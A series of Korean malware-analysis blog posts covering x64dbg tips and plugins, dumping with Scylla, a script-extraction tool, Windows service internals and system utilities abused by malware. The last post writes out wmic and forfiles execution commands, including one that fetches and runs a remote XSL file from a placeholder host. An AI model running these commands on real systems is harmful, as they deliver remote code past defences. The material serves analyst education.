0. 개요

1. 팁

2. 명령어

3. 구조체 관련

4. 플러그인





0. 개요

  x64dbg는 기본적으로 OllyDbg와 매우 비슷하기 때문에 굳이 여기에서까지 상세한 정리를 할 필요는 없을 것 같다. 다음 링크를 보고 필요한 부분은 찾은 후에 x64dbg에서 직접 찾으면 될 것 같다. [ http://sanseolab.tistory.com/8 ]


  그렇기 때문에 여기서는 OllyDbg에서는 없는 부분이던가 아니면 기능이 추가된 부분을 위주로 설명한다. 아직까지는 많이 파악하지 못했기 때문에 이 포스트에서 전체를 담을 것이며 이후에 계속 추가되어 가다가 양이 많아지면 주제에 따라 나눌 생각이다.





1. 팁

- 먼저 수 많은 창들이 이미 켜져 있는 것 같지만 몇 개는 덜 보이는 것들이 있다. 대표적으로 Label (레이블) 창이 그렇다. OllyDbg에는 없는 기능인데 평소 굉장이 필요하다고 생각했던 것이었다. 그리고 이것에 더해 "함수" 창도 유용하게 사용할 수 있다. 다른 기능들도 많으며 명령어를 사용하는 기능의 경우에는 아래에서 설명하겠다.


- Label과 관련해서는 OllyDbg 문서에서 찾아보면 되고 여기에서는 x64dbg의 추가적인 부분을 설명한다. OllyDbg에서는 Label을 통해 함수 첫 부분이나 메모리의 주소에 Label을 달아서 그 부분을 참조할 때 즉 함수 호출이나 메모리 참조 시에 주소 대신 이름으로 보여줄 수 있게 해주었다. 

  x64dbg에서는 이것에 더해서 함수인 경우에 추가적인 기능을 제공해 준다. 함수 주소의 첫 부분을 마우스 오른쪽 버튼으로 클릭한 경우 함수에 등록되어 "함수" 창에서 볼 수 있다. 디폴트로 이름은 sub_address 형태이지만 이후 Label을 붙여주면 함수 이름도 변경할 수 있다. 기본적인 Label 기능에 함수만 따로 정리해서 볼 수 있는 기능이 추가된 것 뿐이지만 막상 디스어셈블러의 결과를 임포트하거나 직접 분석하면서 이름 붙인 경우에 직접 하나씩 찾는것 보다는 훨씬 편한 기능이다.


- "핸들" 창과 관련해서도 OllyDbg보다 훨씬 많은 정보를 주기 때문에 분석 중에 유용하게 사용할 수 있다.





2. 명령어

  잘 쓰지는 않겠지만 대부분의 명령어들이 간단해서 쉽게 사용할 수 있을 것이다. 문제는 예제로서 문서화가 잘 되어있지 않고 설명도 부족한 것이 많다.


  명령어의 경우 간단한 결과는 명령어 창의 아래에서 바로 확인 가능하지만 제대로 된 결과를 원한다면 "로그" 창을 확인해야 한다.


- exhandlers : 이 명령어는 SEH 뿐만 아니라 VEH, Unhandled 핸들러까지 모두 보여준다. 물론 대부분 SEH의 결과를 원할 것이기 때문에 스택 창과 "SEH" 창만 확인해도 별 문제 없겠지만 분석하다 Unhandled Exception 핸들러 함수도 종종 중요하게 사용되기 때문에 분석할 때마다 여기에 BP를 걸어놓지 않아도 이 명령으로 쉽게 찾을 수 있다는 것이 장점이다.

  문제는 일반적인 경우 SEH 핸들러만 결과가 나오고 나머지는 symbol과 관련된 문제 때문에 정보가 나오지 않는다. 이 경우에는 심볼을 다운로드 받아야 한다.


- symdownload / downloadsym : x64dbg는 직접 설정할 필요 없이 디폴트로 마이크로소프트의 심볼 서버가 등록되어 있다. 문제는 이것을 명령어를 통해 직접 다운로드 받아야 한다는 것이다. 간단하게 이 명령어를 사용하면 심볼을 다운로드 받아 분석에 도움도 되며 위의 exhandlers 명령어를 제대로 사용할 수 있다. 참고로 모든 심볼을 다운로드 받는 것이 아닌 현재 바이너리에서 사용되는 dll들의 심볼만 다운로드 받는다. 심볼을 이용하는 방식은 OllyDbg도 가지고 있는 기능이다.


- hidedebugger : 안티디버깅과 관련해서는 대부분 플러그인을 쓰겠지만 x64dbg 내부적으로도 간단한 기능이 존재한다. 이 명령어가 정확히 어떤 기능을 하는지 찾아보니 x64dbg의 소스에는 없고 x64dbg가 사용하는 디버깅 엔진인 TitanEngine의 소스 코드에서 확인할 수 있었다. x64dbg에서는 내부적으로 PathAPILevel을 0으로 설정해서 호출하기 때문에 실질적으로 PEB 관련 기능만 사용한다. 즉 PEB.BeingDebugged를 false로, PEB.NtGlobalFlag를 NULL로 설정해 주는 기능이다.



2.1 언패킹

  다음 링크에 간단한 명령어를 이용한 언패킹 스크립트들이 있다. 패커들의 경우 특별히 안티디버깅 기법들이 없기 때문에 몇 줄의 명령만으로 OEP까지 자동으로 갈 수 있다. upx, mpress, ASPack 등 다수의 패커들 뿐만 아니라 지원되는 경우 x64 버전까지 OEP로 갈 수 있게 해주는 스크립트들이다. https://github.com/SanseoLab/ejUnpacker ]





3. 구조체 관련

  OllyDbg 문서에서 설명하였듯이 구조체 기능이 있어서 가끔은 유용하게 사용할 수 있다. OllyDbg는 기본적으로 자주 사용되는 구조체 DB를 지원해 주며 문서화되지 않은 방식으로 사용자가 직접 추가하는 방식도 존재한다.


  x64dbg에서는 기본으로 제공해주는 구조체 DB는 존재하지 않는다. 그래서 직접 만들어야 한다. 개인적으로 분석을 공부하면서 눈에 띄는 구조체들을 찾아서 직접 추가한 후 깃허브에 올리도록 하겠다.


  사실 구조체는 객체 지향 언어로 만든 프로그램을 분석할 때 유용하게 사용할 수 있다. C++나 델파이에서 객체는 결국 구조체 형태로 사용되므로 멤버 인스턴스들의 구조를 쉽게 파악할 수 있다. 문제는 객체라는 것이 할당과 해제가 반복되는데 그때마다 적용하는 것 까지는 좋지만 결국 찾아봐야 한다는 점이다.


  그래서 개인적으로 플러그인을 만들 생각이다. 첫 번째 기능은 PEB나 TEB 같이 프로세스 시작 시 항상 같은 것들의 경우 초기화 시에 구조체를 파악하고 이후 자동으로 Label을 달아주는 것이다. 많은 패킹된 악성코드들이 Ldr 구조체 등을 이용해 Kernel32.dll의 Export Table로 LoadLibrary()나 GetProcAddress() 함수 호출 대신 직접 함수 주소를 구한다. 이 경우 해당 구조체에도 Label을 달아주면 진행하면서 주소 대신 구조체 멤버의 이름을 확인할 수 있으므로 대충 보더라도 이 부분인 것을 확인할 수 있을 것이다.


  다음으로 객체의 경우 분석이 선행되어야 하겠지만 멤버를 파악한 이후에는 다시 분석할 때 할당 이후 직접 이 플러그인을 사용하여 자동으로 구조체의 주소와 멤버에 Label을 달아줌으로써 이후 여기에 접근할 때 주소 대신 이름으로 접근할 수 있게 하는 것이다. 물론 객체가 해제될 때 자동으로 Label을 제거해주는 기능이 있다면 더 괜찮아 보인다.


  객체나 변하지 않는 구조체들 외에도 유용하게 사용할 수 있는데 악성코드 PE 파일 자체를 패킹하여 메모리 내에 저장되어 있을 때 덤프를 뜨면서 그 구조를 파악하는 용도로도 쉽게 사용할 수 있다. 물론 OllyDbg의 경우 PE 관련 구조체는 이미 존재한다.


  첫 번째 기능은 어느 정도 분석해 가면서 빨리 패킹을 풀어 나갈때, 그리고 두 번째 기능은 C++는 그렇다고 치더라도 델파이라는 언어를 분석해 나갈 때 유용하게 사용할 수 있을 것으로 보인다. 물론 선행 작업은 기본적인 DB를 만들어 놓는 것이다. 아래는 만들고 있는 DB이며 꾸준히 업데이트 시켜 나갈 생각이다.


https://github.com/montouesto/Structure-DB ]


  DB는 없지만 필요한 것을 적용하는 방식에 대해서 설명하기로 한다. 명령어, 헤더 파일, JSON 파일 이렇게 3가지 종류가 있는데 JSON 방식은 제외하고 설명한다. JSON은 이곳을 참고하자. [ https://gist.github.com/mrexodia/e949ab26d5986a5fc1fa4944ac68147a ]



3.1 명령어를 이용하는 방식

  명령어로 구조체나 Union을 선언해서 사용하는 경우는 휘발성이므로 스크립트를 따로 만들지 않는 이상 직접 파일을 만들어 두는 것이 좋을 것 같다.


먼저 다음 명령으로 "struct_1"이라는 구조체를 생성한다.

: AddStruct struct_1

이후 "int" 타입의 멤버 "mem_1", "mem_2"을 추가한다.

: AddMember struct_one, int, member_1

: AddMember struct_one, int, member_2

참고로 타입은 다음 명령어를 통해 로그 창에서 확인 가능하다.

: EnumType


  이제 화면의 아랫 부분을 보면 "구조체" 탭을 볼 수 있다. 이곳을 선택하면 빈 화면을 볼 수 있다. 마우스 오른쪽 버튼을 클릭한 후 "방문 유형"을 선택한다. 팝업이 뜨면 방금 생성했던 구조체 struct_1을 입력한다. 이후 "방문할 주소"를 입력하라는 팝업이 뜬다. 그냥 취소할 경우에는 구조체의 형태를 확인할 수 있으며 특정 주소를 입력할 경우 그 주소를 기반으로 구조체 형태로 보여준다.


  예를들어 보겠다. 현재 나에게는 다음과 같은 정보가 있다.


--------------------------------------------------------------------------

0x002    BYTE  BeingDebugged;

0x008    void*  ImageBaseAddress;

0x00C    _PEB_LDR_DATA*  Ldr;

0x018    void*  ProcessHeap

0x064    DWORD  NumberOfProcessors;

0x068    DWORD  NtGlobalFlag;

--------------------------------------------------------------------------


  또한 프로그램을 디버거로 오픈한 후 EP에서 EBX 레지스터를 확인해 보면 PEB 구조체인 것을 알 수 있다. 지금까지 배운 것들을 이용해 PEB 구조체를 생성해 보자.


  앞에서 설명을 덜했는데 Addmember의 4번째 인자와 5번째 인자는 옵션이다. 4번째 인자는 배열일 경우 배열의 크기인데 배열의 크기가 2개이면 2를 넣고 하면 되지만 현재는 5번째 인자를 사용하기 위해 어쩔 수 없이 4번째 인자도 채워야 하는 상황이기에 이 값을 0으로 채운다. 5번째 인자는 시작 주소로부터의 오프셋이다.


  나의 경우 PEB의 모든 멤버를 파악하지 못했기 때문에 파악한 멤버만 적기 위해 이 값을 활용하기로 한다.


--------------------------------------------------------------------------

:  AddStruct  myPEB

:  AddMember  myPEB, byte, BeingDebugged, 0, 2

:  AddMember  myPEB, void*, ImageBaseAddress, 0, 8

:  AddMember  myPEB, int, Ldr, 0, c

:  AddMember  myPEB, void*, ProcessHeap, 0, 18

:  AddMember  myPEB, int, NumberOfProcessors, 0, 64

:  AddMember  myPEB, int, NtGlobalFlag, 0, 68

--------------------------------------------------------------------------


  이제 적용시켜 보면 직접 명시한 부분들이 깔끔하게 잘 나오는 것을 확인할 수 있다. 물론 앞에서도 말했듯이 휘발성이기 때문에 다음의 방식을 사용하는 것을 추천한다.



3.2 헤더 파일을 이용한 방식

  앞에서 했던 PEB 구조체를 헤더 파일로 만들어 보자. 크기가 워낙 크므로 멤버는 4개만 추가하기로 하며 빈 영역은 따로 이름을 붙여 주자.


--------------------------------------------------------------------------

struct myPEB {

int16  null1;

byte  BeingDebugged;

int8  null2;

int  null3;

void*  ImageBaseAddress;

int  Ldr;

int  null4;

int  null5;

void*  ProcessHeap;

};

--------------------------------------------------------------------------


  참고로 주석 이런거 다 없애고 위처럼 깔끔하게 (특히 타입 자료형에 주의해서) 만들어야 한다. 이후 "구조체" 창에서 마우스 오른쪽 버튼을 클릭한 후 "헤더 구문분석"을 선택하고 만든 헤더 파일을 선택한다. 이후 앞에서와 같이 방문 유형을 선택해서 적용시키면 된다. 타입 자료형에 주의하지 않거나 주석 같은 문자가 들어가면 제대로 파싱하지 못하기 때문에 주의해서 만들어야 한다. 개인적으로는 그냥 오리지널 헤더 파일을 넣으면 자동으로 구조체 부분만 파싱해서 인식했으면 좋겠다는 생각이 든다.



3.3 단점

  예를들어 TEB를 다음과 같이 선언했다고 하자.


--------------------------------------------------------------------------

struct TEB {

...

PEB*  PEB;

...

};

--------------------------------------------------------------------------


  이 경우 가장 좋은 방식은 PEB 구조체도 바로 보여주는 것이다. 하지만 아직까지는 이것을 보여주는 기능이 없다. 그렇기 때문에 다음과 같이 VisitType 명령어로 직접 하나씩 조사해야 한다.


--------------------------------------------------------------------------

:  VisitType  TEB, 003f8000

 VisitType  PEB, 003f5000

 VisitType  PEB_LDR_DATA, 77b17be0

 VisitType  Init_Module, 027c3900

 VisitType  Load_Module, 027c39f8

 VisitType  Memory_Module, 027c3a00

--------------------------------------------------------------------------


  만약 "PEB*  PEB;" 대신 "PEB  PEB;"와 같은 방식으로 선언한다면 멤버로서 구조체 자체가 들어있는 것으로 인식하기 때문에 맞는 결과를 볼 수 없다. 이렇게 포인터가 붙은 경우에는 값에 따라서 제대로 된 결과를 한 눈에 볼 수 있는 기능이 빨리 추가되었으면 좋겠다.





4. 플러그인

  플러그인 쪽 내용은 사실 잘 아는 사람들이 많아서 여기에서 도움이 될만한 내용이 많이 있을것 같지는 않지만 분석에 유용했던 것들 위주로 간단하게 정리하기로 하겠다.



4.1 Scylla

  디폴트로 존재하는 플러그인으로서 덤프를 뜨는데 사용할 수 있다. 참고로 덤프 뿐만 아니라 Import Table도 복구해줄 수 있다. 사용법은 다음 링크를 참고하자. [ http://sanseolab.tistory.com/73 ]



4.2 SwissArmyKnife

  많지는 않지만 뭔가 다양한 기능들이 있다. 유용하게 사용했던 기능은 map 파일을 임포트하는 기능이었다. 버그도 있어서 다음 링크에 [ http://sanseolab.tistory.com/53 ] 따로 정리하기도 했다. map 파일 외에도 sig 파일도 있고 하지만 그다지 유용해 보이지는 않는다. 그리고 Crypt 관련해서 AESFinder 등도 보이지만 이것도 그다지 유용해 보이지는 않는다.



4.3 x64dbgpy

  x64dbg에서 파이썬 스크립트를 사용할 수 있게 해주는 플러그인다. 단점이라면 Immunity Debugger처럼 명령줄 라인으로 명령어를 받지는 못하는 것으로 보이며 단지 파이썬 스크립트만 실행 가능한 것으로 보인다. 또 다른 단점은 32비트 버전인 x32dbg에서 사용하기 위해서는 32비트 파이썬을 설치해야 하며 64비트 버전인 x64dbg에서는 64비트의 파이썬을 설치해야 하는 것으로 보인다.



4.4 OllyDumpEx

  OllyDbg만의 플러그인으로 생각했었는데 x64dbg도 지원하며 잘 되서 좋다.



4.5 xAnalyzer

https://github.com/ThunderCls/xAnalyzer ]

  OllyDbg처럼 API 호출 이전에 파라미터를 달아준다. 버전이 잘 안맞아서인지 사용법을 몰라서인지는 모르겠지만 개인적으로 통하는 방식은 마우스 오른쪽 클릭 후 "xAnalyzer"를 선택하고 "Analyze Selection", "Analyze Function", "Analyze Executable" 중 하나를 선택하는 것이었다. "Analyze Executable"을 선택하면 조금 시간이 걸리지만 전체를 파악해주어서 좋지만 단점이 있다. 파라미터가 하드코딩되어 있는 값인 경우에는 잘 통하지만 레지스터인 경우에는 현재 레지스터를 기반으로 파라미터를 분석해 준다. 아마 이것이 가장 큰 단점이 아닌가 싶다. 또 "CALL ESI" 같은 형태의 호출은 바로 파악하지 못한다. (이건 실시간으로 분석해주는 기능이 없기 때문으로 보인다) 그래도 가끔은 파라미터의 Constant까지 파악해서 보여주는 경우도 있으므로 나쁘지 않다.



4.6 ScyllaHide

https://github.com/x64dbg/ScyllaHide ]

  Debugger Hiding, Timing Hooks, DRx Hiding 등의 여러 기능을 지원하는 것으로 보인다. 아직 제대로 사용해보지는 않았지만 정말 많은 기능을 지원한다. 후킹을 이용한 방식이라서 설정하기도 까다로워 보이며 업데이트가 끊긴 것으로 보인다. 사실 분석하는 입장에서 방해만 되는 것 같아서 사용할 생각은 없다.


'악성코드 분석' 카테고리의 다른 글

악성코드 지속 메커니즘  (0) 2018.12.16
TotalCommand 자동화  (0) 2018.12.16
디버거로 덤프 뜨기  (1) 2018.12.15
[Tool] ejExtractor  (0) 2018.12.10
윈도우의 서비스  (0) 2018.11.03
Posted by SanseoLab




  굳이 이것을 주제로 블로그에 글을 쓰는 것은 디버깅 중 덤프를 뜨는 것과 관련된 자료들이 대부분 오래된 것들이고 복잡하기도 하며 요즘에는 통하지 않는 경우도 많기 때문이다. 예를들어 요즘 공부하면서 디버거로 덤프를 떠보려고 한다면 가장 많은 자료를 확인할 수 있는 OllyDbg를 이용할 것이며 이와 관련된 LoadPE, ImportREC, OllyDump, OllyDumpEx 등과 관련된 자료를 찾아볼 것이다. 더 나아가 자료들 중에서 상당 수가 OllyDbg 1.x 기준이라는 것을 확인할 수 있을 것이고 얼마 되지 않는 OllyDbg 2.x 자료를 찾아봐야 할 것이다.



  x64dbg를 사용할 경우 디폴트로 존재하는 기본 플러그인 "Scylla"를 사용해서 쉽게 덤프를 뜰 수 있다. 물론 덤프 뿐만 아니라 Import Table 복구 등 모든 과정을 Scylla 하나로 간단하게 수행할 수 있다.



1. 언패킹 후 덤프를 뜨는 것이 목적이라면 먼저 OEP 까지 진입하자. 


2. 현재 EIP가 OEP에 위치한다면 플러그인 탭에서 Scylla를 선택한다. 


3. 중간 왼쪽 부분을 보면 현재 EIP 주소에 맞게 OEP가 자동으로 설정되어 있을테니 굳이 추가할 필요는 없고 바로 오른쪽을 보면 "IAT Autosearch"라는 버튼이 있다. 이것을 클릭한다. 클릭 후 두 개 정도의 확인 버튼이 팝업된다. 


4. 다음으로는 바로 아래의 버튼인 "Get Imports" 버튼을 클릭한다. 


5. 이후 오른쪽의 "Dump" 버튼을 클릭하면 덤프된 exe를 저장시킬 위치를 선택할 수 있다. 기본적으로 원본 exe 이름 뒤에 "_dump"라는 이름이 붙어서 저장되는 것을 볼 수 있을 것이다. 저장된 결과물은 간단하게 덤프한 것으로서 IAT가 복구되지 않아서 실행되지 않을 것이다. 


6. 이제 바로 아래의 "Fix Dump" 버튼을 클릭한다. 그리고 방금 전 저장했던 덤프한 exe 파일을 불러온다. 그러면 또 다른 실행 파일이 생성되며 (이름 뒤에 "_SCY"가 붙는다) 최종 결과물로서 실행까지 되는 것을 확인할 수 있다.



  이렇게 몇 번의 클릭 만으로 덤프 및 IAT 복구가 가능한데 검색하다 보면 수 많은 삽질들을 할 수 밖에 없는 방식들이 대부분이라서 굳이 블로그 글로 남기려고 한다. 원리를 아는 것도 중요하지만 결과도 그만큼 중요하기 때문에.



'악성코드 분석' 카테고리의 다른 글

TotalCommand 자동화  (0) 2018.12.16
x64dbg 분석 팁  (0) 2018.12.15
[Tool] ejExtractor  (0) 2018.12.10
윈도우의 서비스  (0) 2018.11.03
악성 행위에 사용될 수 있는 시스템 유틸리티  (0) 2018.09.30
Posted by SanseoLab



1. 설명

2. 사용법

3. 옵션

4. TODO





[ https://github.com/SanseoLab/ejExtractor ]





1. 설명

  오토잇, 오토핫키처럼 스크립트를 바이너리로 생성하는 툴의 경우 exe를 직접 분석하는 것 보다는 원본 스크립트를 확인하는 것이 분석에 용이하다. 또한 InnoSetup, NSIS 등의 경우 내부의 바이너리 뿐만 아니라 설치 스크립트를 확인할 수 있을 떄 분석에 많은 도움이 된다.


  추가적으로 vbs/js의 경우 vbe/je라는 인코딩 방식이 지원되며, 파워셸의 경우 여러 인코딩 기법이 존재하는데 간단한 스크립트를 통해 쉽게 복호화가 가능하다.


  이 툴은 각각 따로 존재하는 툴들 및 스크립트들을 통합하고 커맨드라인 형태로 사용할 수 있게 하는 정리 및 자동화를 목적으로 만들게 되었다.



- Autoit : exe2aut를 사용한다.

- AutoHK : 버전 L의 경우 간단한 파이썬 스크립트를 사용하며, 버전 B의 경우 다음 링크의 툴을 사용한다. [ https://github.com/Kalamity/Exe2AhkPatched ]

- InnoSetup : innounp47.exe를 사용한다. 굳이 7z로 풀 수 있지만 installation script(.iss)도 추출할 수 있다는 장점이 있다.

- NSIS : 7z 버전 15.05를 사용한다. 이 버전은 installation script(.NSS)도 같이 추출해 준다.

- MSI : jsMSIx.exe를 사용한다. 이것은 설치될 경로에 맞게 파일들을 추출해줌과 동시에, 같은 폴더에 생성되는 "MSI Unpack.log" 파일을 통해 추가될 레지스트리도 확인할 수 있다.

- Powershell : 악성코드에서 주로 사용되는 Deflate, Gzip (+Base64) 및 SecureString으로 인코딩된 문자열을 복호화해 주며 동시에 반대로 인코딩도 지원한다.

- JSE / VBE : 다음 링크의 vbs 스크립트를 이용한다. [ https://gallery.technet.microsoft.com/Encode-and-Decode-a-VB-a480d74c ]





2. 사용법


> ejExtractor.py -[Option] [Path]


예시)

> ejExtractor.py -n C:\test.exe


파워셸 SecureString의 경우)

> ejExtractor.py -[Option] [Path] -key [key]

- ex) 

> ejExtractor.py -psd C:\test.txt -key 35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50





3. 옵션

- -h : Help

- -l : AutoHotKey version L

- -b : AutoHotKey version B

- -A : AutoIt 간단한 방식. 간단하게 Exe2Aut를 커맨드 라인 방식으로 사용한다.

- -a : AutoIt 다른 방식. 인코딩된 오토잇 스크립트를 추출하여 더미 바이너리에 붙인 후 이것을 Exe2Aut로 추출한다. 이유에 대해서는 다음 링크 참고. [ http://sanseolab.tistory.com/59 ]

- -i : InnoSetup

- -n : NSIS

- -m : MSI

- -pdd : Powershell Deflate Decode. 파워셸의 경우 인코딩 / 디코딩할 문자열은 파일로 저장한 후 인자로 준다.

- -pde : Powershell Deflate Encode

- -pgd : Powershell GZip Decode

- -pge : Powershell GZip Encode

- -psd : Powershell Secure String Decode. -key 옵션을 통해 추가적으로 키 값이 필요하다.

- -pse : Powershell Secure String Encode. -key 옵션을 통해 추가적으로 키 값이 필요하다.

- -jve : JS / VBS Encoding (to .jse or .vbe). 주의 : 결과로 나온 확장자는 항상 vbe이므로 만약 js를 인코딩한 경우에는 js 또는 jse로 수정하자.

- -jvd : JSE / VBE Decoding (to .js or .vbs). 주의 : 결과로 나온 확장자는 항상 vbs이므로 만약 jse를 디코딩한 경우에는 js로 수정하자.





4. TODO

  찾는 중...

'악성코드 분석' 카테고리의 다른 글

x64dbg 분석 팁  (0) 2018.12.15
디버거로 덤프 뜨기  (1) 2018.12.15
윈도우의 서비스  (0) 2018.11.03
악성 행위에 사용될 수 있는 시스템 유틸리티  (0) 2018.09.30
윈도우의 작업 스케줄링 및 기타  (1) 2018.09.30
Posted by SanseoLab

1. 기본

2. 사용법

.... 2.1 sc 명령어

.... 2.2 service.msc

3. 구조

.... 3.1 동작 구조

.... 3.2 개발

........ 3.2.1 exe 형태

........ 3.2.2 dll 형태

4. 악성코드 분석





1. 기본

  기본적으로 서비스는 실행 가능한 바이너리여야 할 것이고 sys, exe, dll이 그 대상이 될 것이다. 명령 프롬프트에서 다음과 같은 명령을 실행해서 나온 결과 중 "종류"를 확인해 보면 3가지를 확인할 수 있다.


> sc qc [ 서비스 이름 ]


  sys 바이너리 즉 디바이스 드라이버는 KERNEL_DRIVER(1), exe 실행 파일 바이너리는 WIN32_OWN_PROCESS(10), dll은 WIN32_SHARE_PROCESS(20)이다.


  등록된 서비스는 명령 프롬프트에서 sc 명령어를 사용하거나 또는 service.msc 유틸리티, 그리고 레지스트리를 통해서 확인 가능하다. sys나 exe 같은 standard alone한 서비스는 다음의 레지스트리에서 확인 가능하다. ImagePath를 보면 exe 및 sys 파일의 경로를 확인할 수 있다.


[ HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services ]


  DLL 형태의 서비스 프로그램은 조금 다르다. 각 서비스가 위의 키에 존재하는 것은 맞지만 ImagePath에 실행 파일의 경로가 아니라 다음과 같은 형태를 볼 수 있다.


%SystemRoot%\system32\svchost.exe -k  [서비스 그룹 이름]


  이것은 부팅 시에 svchost.exe의 인자로 서비스 그룹의 이름을 넣고 실행함으로써 호출된다는 것이다. dll의 경로는 ImagePath가 아니라 ServiceDll에 위치한다. 참고로 지금까지 언급했던 서비스 그룹은 다음의 레지스트리에 저장되어 있다. 


[ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Svchost ]


  정리하자면 현재 윈도우의 프로세스 트리를 보면 services.exe를 확인할 수 있다. 이것의 자식 프로세스로 동작하는 exe 프로그램들은 서비스로 동작하는 (그리고 거기에 맞게 개발된) exe 프로그램이다. 이것 말고도 다수의 svchost.exe 프로세스들을 확인할 수 있다. 위의 내용과 같이 각 서비스 그룹 별로 svchost.exe가 실행되며 각각의 svchost.exe에는 담당하는 서비스 그룹에 속하는 dll들이 로드되어 있다.





2. 사용법

2.1 sc 명령어


> sc create [서비스 이름] binpath= [서비스 파일 경로]

> sc delete [서비스 이름]

> sc start [서비스 이름]

> sc stop [서비스 이름]

> sc query

        ; 전체 서비스 조회

> sc query [서비스 이름]

        ; 특정 서비스 조회



2.2 service.msc

실행창 -> service.msc

        ; 위의 명령어로 확인할 수 있다.





3. 구조

3.1 동작 구조

  서비스 프로그램의 경우 dll이나 sys는 당연할테지만, exe 형태를 가지고 있다고 하더라도 서비스로서 동작하도록 개발된 프로그램이기 때문에 일반적인 더블 클릭을 통해 실행되는 것이 아니라 앞에서 보았던 sc.exe 같은 프로그램이 해당 서비스를 등록하고 실행시켜 주는 역할을 해주어야 한다.


  이러한 sc.exe 같은 프로그램들을 SCP라고 한다. 이외에도 SCM이라는 개념도 있는데 모든 서비스들을 관리하는 역할을 한다. 위의 내용을 보고 추측할 수 있듯이 SCM은 services.exe이다. dll 형태의 경우 svchost.exe가 관리하는 것으로 생각할 수 있겠지만 이것도 궁극적으로는 부모 프로세스인 services.exe가 관리한다.


  일반적으로 간단하게 sc.exe를 이용할 수 있겠지만 직접 SCP를 만드는 것도 가능하다. SCP의 경우 간단하게 OpenSCManager()로 SCM을 오픈하고, 여기서 받은 핸들을 통해 CreateService()로 서비스를 생성한다. 그러면 SCM은 HKLM\SYSTEM\CurrentControlSet\Services 아래에 서비스에 대한 레지스트리 키를 생성한다. 삭제할 때는 DeleteService() 함수를 사용할 수 있다.



3.2 개발

3.2.1 exe 형태

  여기서는 서비스 프로그램의 구조 부터 시작하며 먼저 exe 형태를 다루기로 한다. 일반적인 프로그램은 Entry Point만 존재하면 되겠지만, 서비스 프로그램은 추가적으로 Service Entry Point 및 Service Control Handler가 필요하다.


  일반적인 서비스 프로그램의 형태에 대해 동작 과정 및 SCP와 연관시켜 설명하기로 한다. 만약 sc.exe를 이용해 서비스를 시작시키는 경우 내부적으로 (직접 SCP를 개발한 경우에도 마찬가지이다) StartService() 함수가 호출된다. 그러면 SCM 즉 services.exe에 의해 해당 서비스 프로세스가 생성 및 실행된다. 이 때 서비스 프로그램도 일반적인 프로그램과 마찬가지로 Entry Point 즉 main 함수가 실행된다.


  일반적인 서비스 프로그램의 경우 실질적인 루틴은 main에 존재하지 않으며 대신 간략하게 StartServiceCtrlDispatcher() 함수를 이용해 Service Entry Point 즉 실질적인 서비스 루틴을 담당하는 함수를 등록한다. 이 함수는 Service Main 함수라고 부르도록 한다.


  이후 Service Main 함수가 실행되는데 일반적으로 초기화 루틴부터 시작한다. 먼저 서비스 프로그램의 경우 SCM과의 제어를 담당하는 부분이 필요하다. 이러한 부분을 Service Control Handler라고 부르며 앞에서도 언급하였듯이 Service Main 함수 처럼 추가적인 함수로 구현해 놓을 필요가 있다. 핸들러 함수가 존재해야 서비스에 대한 중지, 시작 등의 제어를 처리할 수 있으며 실제로 그러한 역할을 담당한다.


  이에따라 Service Main 함수의 초기화 루틴에서는 RegisterServiceCtrlHandler()를 통해 핸들러 함수를 등록하는 부분이 존재한다. 다음으로는 서비스를 실행시키는 부분이다. 물론 현재 Service Main 함수 부분에서 이미 실행 중이긴 하지만 SCM 입장에서는 SERVICE_START_PENDING 상태라고 할 수 있다. 그러므로 초기화 이후에는 SetServiceStatus 함수를 이용해 인자로 SERVICE_RUNNGING를 설정하고 호출하여야 이후 서비스 프로세스로서 동작하게 된다.


3.2.2 dll 형태

  DLL 형태의 경우는 앞에서 살펴보았던 exe 형태와는 조금 다르다. dll의 경우 먼저 ServiceMain()이라는 함수를 만들고 이 함수를 export해야 한다. exe의 경우 실행시키면 바로 Entry Point인 main 함수가 실행되듯이, dll의 경우 서비스 시작 시 이 export된 함수를 호출할 것이다. 또한 StartServiceCtrlDispatcher() 함수를 호출할 필요가 없다. 그렇기 때문에 실제 서비스로서의 역할을 이 ServiceMain()에서 수행하면 된다. 물론 SCM과의 커뮤니케이션을 위해 Service Control Handler가 필요하므로 해당 함수를 구현한 후 RegisterServiceCtrlHandler()를 통해 핸들러 함수를 등록할 필요는 있다.





4. 악성코드 분석

  인터넷을 보면 서비스 디버깅 방식이 존재한다. 그러한 방식을 사용하면 exe 형태이든 dll 형태이든 위의 정리된 내용을 바탕으로 분석할 수 있을 것이다. 


  추가적인 팁이 있다면 서비스 프로그램은 시스템 권한으로 실행되기 때문에 EP를 무한 루프로 수정하고 Attach하려고 해도 불가능하다. 이 경우에는 ExecTI 같은 도구를 이용해 디버거를 시스템 권한으로 실행시킨 후 Attach하면 될 것이다.


'악성코드 분석' 카테고리의 다른 글

디버거로 덤프 뜨기  (1) 2018.12.15
[Tool] ejExtractor  (0) 2018.12.10
악성 행위에 사용될 수 있는 시스템 유틸리티  (0) 2018.09.30
윈도우의 작업 스케줄링 및 기타  (1) 2018.09.30
GCC 사용법  (0) 2018.07.19
Posted by SanseoLab



0. 개요

1. 명령어 실행

2. 스크립트 실행

3. 파일 실행

4. 다운로드

5. 컴파일

6. 기타





0. 개요

  cmd 외에도 여러 시스템 유틸리티가 악성 행위에 사용될 수 있다. 여러 자료들을 참고하여 정리하였고, 이후 추가 사항이 있을 시 더 보충하도록 하겠다.





1. 명령어 실행

1.1 cmd.exe

  생략.



1.2 powershell.exe

  생략.



1.3 wmic.exe

  따로 정리할 예정이므로 간략히만 정리한다.

> process call create "cmd.exe /c calc"


  다음 링크와 같이 xsl 파일을 서버에 생성한 후 아래의 명령어로 실행시키는 방식이 있다. [ https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xsl ] 특징이라면 명령어에서 xsl 확장자를 받아야 하는데 이 확장자가 흔하지는 않는다는 것이며 따라서 서버에서도 xsl 확장자 형태로 존재해야 한다는 점이다.

> wmic os get /format:http://www.aaa.com/data/aaa.xsl



1.4 forfiles.exe

  파일들을 선택하고 실행시키는데 사용되는 프로그램이라고 한다. 옵션의 자세한 방식은 모르겠지만 예제와 같이 사용하는 것이 가장 좋은것 같다. 마지막 calc.exe 대신 cmd 등의 실제 명령어가 들어가면 될 것이다.

> forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe


